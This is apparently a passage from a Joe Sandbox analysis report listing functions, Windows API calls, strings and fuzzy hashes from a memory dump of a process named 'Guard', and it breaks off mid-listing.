GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 006BAD08
OleInitialize.OLE32(00000000), ref: 006BAD85
CloseHandle.KERNEL32(00000000), ref: 006F2F56

Strings

<ww, xrefs: 006BAC6B
sw, xrefs: 006BAB26
\tw, xrefs: 006BAB32

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <ww$\tw$sw
API String ID: 1986988660-2988750673
Opcode ID: 45b2577c40e0bb6dacda3e9b863f9abe417daf7b06d92bcfd8d55104fa24e5c8
Instruction ID: af7e0f048c17909e4a7b26ae96b1ed1e5099fe4a64c10112b34919bdf309cad2
Opcode Fuzzy Hash: 45b2577c40e0bb6dacda3e9b863f9abe417daf7b06d92bcfd8d55104fa24e5c8
Instruction Fuzzy Hash: 498199B09093808EC79CDF69AD85A657EE5EB49384710C57E941CCB272EB7C4484CF99

Function 006D0FE6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006D593C: __FF_MSGBANNER.LIBCMT ref: 006D5953
Part of subcall function 006D593C: __NMSG_WRITE.LIBCMT ref: 006D595A
Part of subcall function 006D593C: RtlAllocateHeap.NTDLL(00BD0000,00000000,00000001,?,00000004,?,?,006D1003,?), ref: 006D597F

std::exception::exception.LIBCMT ref: 006D101C
__CxxThrowException@8.LIBCMT ref: 006D1031

Part of subcall function 006D87CB: RaiseException.KERNEL32(?,?,?,0076CAF8,?,?,?,?,?,006D1036,?,0076CAF8,?,00000001), ref: 006D8820

Strings

h=t, xrefs: 006D1011
`=t, xrefs: 006D1029

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: `=t$h=t
API String ID: 3902256705-4135100045
Opcode ID: 9365f1385d8f60bd1e696b0bad9fc51d6a87f3de2ed2b121861b778aeec0eaf3
Instruction ID: 4e9e9d50b9d2d231bf563ac25e2ea5409f1cec233d2b2741a1b129e9c353dd78
Opcode Fuzzy Hash: 9365f1385d8f60bd1e696b0bad9fc51d6a87f3de2ed2b121861b778aeec0eaf3
Instruction Fuzzy Hash: CAF0A935E0461DB6DB20BB58EC159EE7BAD9F01310F10046BFD1896391DFB18B41C695

Function 00714148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0071416D
Process32FirstW.KERNEL32(00000000,?), ref: 0071417B
Process32NextW.KERNEL32(00000000,?), ref: 0071419B
CloseHandle.KERNEL32(00000000), ref: 00714245

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 82fe145c44dd26cce7a86b10457d6ed932da57566abe1540ff870998912998bb
Instruction ID: 88cd85556de6cb810988ac042c39148c76e70c4c49186c0aad383a3543ee0624
Opcode Fuzzy Hash: 82fe145c44dd26cce7a86b10457d6ed932da57566abe1540ff870998912998bb
Instruction Fuzzy Hash: 9631AD711083419FD300EF54D885FBEBBE9FF96350F00092EF581861A2EB749A89CB92

Function 006C278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 006C49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,006C27AF,?,00000001), ref: 006C49F4

_free.LIBCMT ref: 006FFB04
_free.LIBCMT ref: 006FFB4B

Part of subcall function 006C29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 006C2ADF

Strings

Bad directive syntax error, xrefs: 006FFB33

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: dfb232ef442a2dd6b82df40999ccf6f5000c9c2fea26b5828fd6e4747a6345f5
Instruction ID: cc9cddb45c32f11acc77aa1285d3c1cdf966595126eba6620bec7217d961d577
Opcode Fuzzy Hash: dfb232ef442a2dd6b82df40999ccf6f5000c9c2fea26b5828fd6e4747a6345f5
Instruction Fuzzy Hash: 90916B71900219EFCF14EFA4C891AFDB7B6FF09310B14452EE916AB2A1DB74AA05CB54

Function 006C48B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006C48FA

Strings

EA06, xrefs: 007008A1
AU3! ?t, xrefs: 006C48F4

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: _memmove
String ID: AU3! ?t$EA06
API String ID: 4104443479-24477217
Opcode ID: 3b0ac25f4614daa5dbe909d6b4a6ad77fcc0d595007aee6836fa9608ec3f472e
Instruction ID: 8a1f3991dc62da28c3454dcc38e2d6baf7f1b3732c4c8beeed91f0da44e6f6c1
Opcode Fuzzy Hash: 3b0ac25f4614daa5dbe909d6b4a6ad77fcc0d595007aee6836fa9608ec3f472e
Instruction Fuzzy Hash: 7A413A61E041689BDF21DB548861FFF7BA7DB45310F58816DE882E72C6DE348D8583E1

Function 006C20E0 Relevance: 4.9, APIs: 3, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d078509314504ded99ca0017d5b086404c8bd748071e1eeb4e31d232654f20ac
Instruction ID: 25572ddf5fbb43a2f3828c95a27e0ac642459c0b37dfdeeae3357bb78468e2a1
Opcode Fuzzy Hash: d078509314504ded99ca0017d5b086404c8bd748071e1eeb4e31d232654f20ac
Instruction Fuzzy Hash: 3BF18C7190021A9BCF14DF95C8A0EFEB7B6FF45300F54802EED16AB291DB399A41CB65

Function 0072E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0072E20C

Part of subcall function 006B4D37: __itow.LIBCMT ref: 006B4D62
Part of subcall function 006B4D37: __swprintf.LIBCMT ref: 006B4DAC

_wcscpy.LIBCMT ref: 0072E29B

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 1d6c2dfad7cc32c7f8a6e5bea0a611eefc0171f6c36d132b4efc8fc1a1dcbb8f
Instruction ID: 97ee55ff99050acbfb3a3b07f0ca5b1d9e045c3a8793c927b46a2c25012031df
Opcode Fuzzy Hash: 1d6c2dfad7cc32c7f8a6e5bea0a611eefc0171f6c36d132b4efc8fc1a1dcbb8f
Instruction Fuzzy Hash: B4915875A00614DFCB68EF18D4919A9B7E6FF49310B55805EE80A8F3A2DB34ED41CB84

Function 006C42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,006C3E72,?,?,?,00000000), ref: 006C4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,006C3E72,?,?,?,00000000), ref: 00700717

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 400851e27ff476e04e24c304b159edee6544afff732e7889b36a51e7c894db09
Instruction ID: 18e173ac770463129c10d8a0cbb915cf1a44690139f232ad73b13492821a30bb
Opcode Fuzzy Hash: 400851e27ff476e04e24c304b159edee6544afff732e7889b36a51e7c894db09
Instruction Fuzzy Hash: 3F019270244349BEF3204E25CC9AFB67ADDEB01768F10C319FAE86A1E0CBB55C468B54

Function 006BA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd206fe5fed281e2aa72b8400bf1bc280b9df585042923e9d98d36868cf6d82b
Instruction ID: 4ba9a320c222048291cb7037a7454c5d640439136849e2be5ac1810f6b453cef
Opcode Fuzzy Hash: cd206fe5fed281e2aa72b8400bf1bc280b9df585042923e9d98d36868cf6d82b
Instruction Fuzzy Hash: E461BFB0600606DFDB10EF94C881AFAB7E6EF44300F15816DE9569B392EB74ED81DB51

Function 006C410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 006C41B2

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 49be6cfc04066d9a1521f6c384f4fb691e46a1029a29eda20ee1b19ddc9cb165
Instruction ID: cc34ddecb6d676e66d62fe762f4891b4930bc9c971678391521c40d3bb890dc0
Opcode Fuzzy Hash: 49be6cfc04066d9a1521f6c384f4fb691e46a1029a29eda20ee1b19ddc9cb165
Instruction Fuzzy Hash: 75313D71A00615AFCB18DF68C894BBDB7B6FF54310F18862DE85593B10DB71A9A08B90

Function 006EE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 006EE2EA

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 0fbc3058b6a3238e3ee95f775ce7053765bc72faa9761628bf13fd9e72fe5901
Instruction ID: e7c7c5b8edc72d89e11dfc2113d2b745aa8732b4402ca016bad4888f15604a69
Opcode Fuzzy Hash: 0fbc3058b6a3238e3ee95f775ce7053765bc72faa9761628bf13fd9e72fe5901
Instruction Fuzzy Hash: 2E4109B4504341DFDB14DF18C444B5ABBE2BF45304F0988ACF9899B362C776E885CB56

Function 006C49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 006C4B29: FreeLibrary.KERNEL32(00000000,?), ref: 006C4B63

Part of subcall function 006D547B: __wfsopen.LIBCMT ref: 006D5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,006C27AF,?,00000001), ref: 006C49F4

Part of subcall function 006C4ADE: FreeLibrary.KERNEL32(00000000), ref: 006C4B18

Part of subcall function 006C48B0: _memmove.LIBCMT ref: 006C48FA

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 16e3dbbbae762520a2ad5dc104098ed8d72f4ab34863cbe3c58f1f6649f574fe
Instruction ID: d6cbd26607e4536e77a8462d98c57d9851eade234079468e65bb6158169f6f42
Opcode Fuzzy Hash: 16e3dbbbae762520a2ad5dc104098ed8d72f4ab34863cbe3c58f1f6649f574fe
Instruction Fuzzy Hash: FD11E731650205ABCB20FBB4CC2AFBE77AADF44711F10842DF545A61C5EF749E11A798

Function 006EE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 006EE3CE

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 6b85d9d61af98bbdbc5905055ccc94418bc220a7ee4fb247ea65ada0a987c8f9
Instruction ID: baddfb81f63155602de2d2efcf5b27cdddf8b1a014effbd0371585c0bf7d62a2
Opcode Fuzzy Hash: 6b85d9d61af98bbdbc5905055ccc94418bc220a7ee4fb247ea65ada0a987c8f9
Instruction Fuzzy Hash: 432125B4908341DFDB54DF14C444B9ABBE2BF85304F05896CF98A5B322C735E889CB96

Function 006C4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,006C3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 006C4276

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 29c394f74379dae1709780d072edaca47b5cd3eccec18c278fe192179e292a1d
Instruction ID: f0f23fb15626a132022d3bd5f0043e886003803eb265bd49333d97bf2ba05ae9
Opcode Fuzzy Hash: 29c394f74379dae1709780d072edaca47b5cd3eccec18c278fe192179e292a1d
Instruction Fuzzy Hash: 3C1128312007019FD330CF55C491FA6B7EAEF88710F14C92EE9AA86A50DB75EA45CB60

Function 006C408F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007006BC

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 0a78885edf71d424e7563c00fb0e003dde73f860971e72194576d82374af60c9
Instruction ID: edcbd3056a7c76880a65ea1b4587c03b28a7317d4057f6e93c5529b05b83f6e1
Opcode Fuzzy Hash: 0a78885edf71d424e7563c00fb0e003dde73f860971e72194576d82374af60c9
Instruction Fuzzy Hash: 96017CB5600502ABC315EB28C451E2AF7AAFF8A350714815EF919C7702DB31AC21CBE4

Function 0072495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00724998

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 0f9d7b4e2a99f4261c80f69b04d8e2f66bb6f7cc34237bee8c4bcfdd4782a63d
Instruction ID: d1d8d088ffb14d5fb6c7832b4eb869833a723d14446b7338504eaa31276471ac
Opcode Fuzzy Hash: 0f9d7b4e2a99f4261c80f69b04d8e2f66bb6f7cc34237bee8c4bcfdd4782a63d
Instruction Fuzzy Hash: C1F03135608104BF9B54FB65D84ADAF77BDEF45320B00405AF9099B391DE74BD81C754

Function 006C4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 006C4AA4

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: cab3cfcab93185549ca04165c3a7795feab01a3eeffc03f50eff15d74ec9bc80
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: FDF085B6800208FFDF108F94DC00DEBBBBAEF89720F04419CF9045A210D232EA218BA0

Function 006C4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,006C27AF,?,00000001), ref: 006C4A63

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: f49cfb3c198d30568ab7372574cd5999b9264cb8ae13c80a5ec9c4ec73f8e81c
Instruction ID: 7fa5c8709cbde4ba4155f8b5567d38eab34a1a847ad1bd30883eebb0a3eb4c3b
Opcode Fuzzy Hash: f49cfb3c198d30568ab7372574cd5999b9264cb8ae13c80a5ec9c4ec73f8e81c
Instruction Fuzzy Hash: A9F0F271145701CFCB34DFA4E4A0A6ABBF2EB14365320A92EE5A682614CB319984DB48

Function 006C4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 006C4AD0

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000740000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290228278.0000000000766000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290323369.0000000000770000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6b0000_Guard.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 97aaf00d3af9f7d7a0f78079d3b962eb509982cf354c8922a31432add288d1be
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 1EF0F87240020DFFDF05CF94C941EAABB79FB14314F208589FD198A252D776EA21AB91

Function 006D09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 006D09E4

Part of subcall function 006C1821: _memmove.LIBCMT ref: 006C185B

Memory Dump Source

Source File: 00000014.00000002.3290123457.00000000006B1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000014.00000002.3290081970.00000000006B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
